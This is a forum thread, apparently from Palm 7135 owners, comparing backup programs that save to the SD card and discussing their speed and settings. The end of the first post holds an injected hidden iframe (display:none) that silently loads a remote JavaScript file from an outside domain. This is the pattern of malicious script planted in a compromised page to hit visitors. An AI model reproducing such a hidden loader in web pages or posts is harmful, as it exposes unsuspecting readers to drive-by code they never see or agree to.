First, for those who don't think a hard reset will happen to them, it likely will eventually. I have a lot of experience with most of the major backup programs for palms (for backing up to the card), and wanted to share the following:

1) Many use BackupBuddy VFS (BBVFS). This works fine, but is quite slow (takes about 30 minutes to backup 13 megs initially). The good news is that it does incremental backups, but even these are fairly slow, and the restore, while working fine, also takes about 30 minutes. Available at www.bluenomad.com

2) IMHO, the best backup program is JBBackup. It is able to backup an "image" of the palm. Backing up 13 megs takes about 9 minutes; restoring the palm after a hard reset takes just over one minute! The good news is that the developer has just fixed the application to work with the 7135. For registered users, the upgrade is free and available by emailing update@handfort.com. Manual or schedule backups work fine with PiDirectII and security software (Easylock) installed. No incremental backups. Available at www.handfort.com

3) While waiting for JBBackup to get fixed, I tried a relatively new player, BackupMan. This does not do an image backup, but nevertheless was reasonably fast: 10 minutes to backup and the same to restore. Unfortunately, at this time, it appears that the scheduled backups are not compatible with PiDirect, although manual backups work fine. No incremental backups. I found it at palmgear.com.

I have no relationship with any of these, other than trying to help developers get up to speed for our 7135. That said, I strongly encourage spending the $10 on some backup software....<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Thanks for the info! I can relate to the need for a back-up program as (somehow) I must have done a hard reset yesterday.

Probably a stupid question, but what is the difference between hotsyncing after a hard reset and using back-up buddy or one of the other programs you mentioned?

Thanks in advance for your guidance.

__________________
Ahmed V. Ismail
A Smartphone Addict

Using hotsync to backup is fine-- unless your "crash" (ie hard reset) happens when you're traveling or unable to get to your computer. By backing up to the SD card, you always have your backup right with you. In addition, restoring is faster.

I use BUBVFS and have 14MB of internal memory used. A full back up from scratch has never taken me longer than 5-6 minutes. Incramental backups thereafter take less than a minute (and I set it to do it at night after my auto sync with my desktop).

Not sure why it takes yours so long.

HoTSynC- I assume you're not using FastCPU or Afterburner.... I have no idea why such a difference. I wonder if it relates to the ratio of number of files to size? I have about 425 files backing up, and many files ranging from 300-600k (and my vindigo file which is over 1 meg). It also "removes orphan files" at the end, which seems quite slow as well....
On a different note, what I have used BBVFS for in the past *in conjunction with* JBBackup is to backup just 2-3 "critical" files (eg todo database) on power off. Unfortunately, when configuring it do this, closing the flip does not equate to power off (the light goes out immediately, and it does not back up the files). Could you try configuring yours to b/u on power off (if you don't already) and see how to get it to do that?.....thanks.

BBVFS initial BU & restore is slow for me also. Incrementals are very fast though. Mine take place overnight (2 AM) while closed & charging.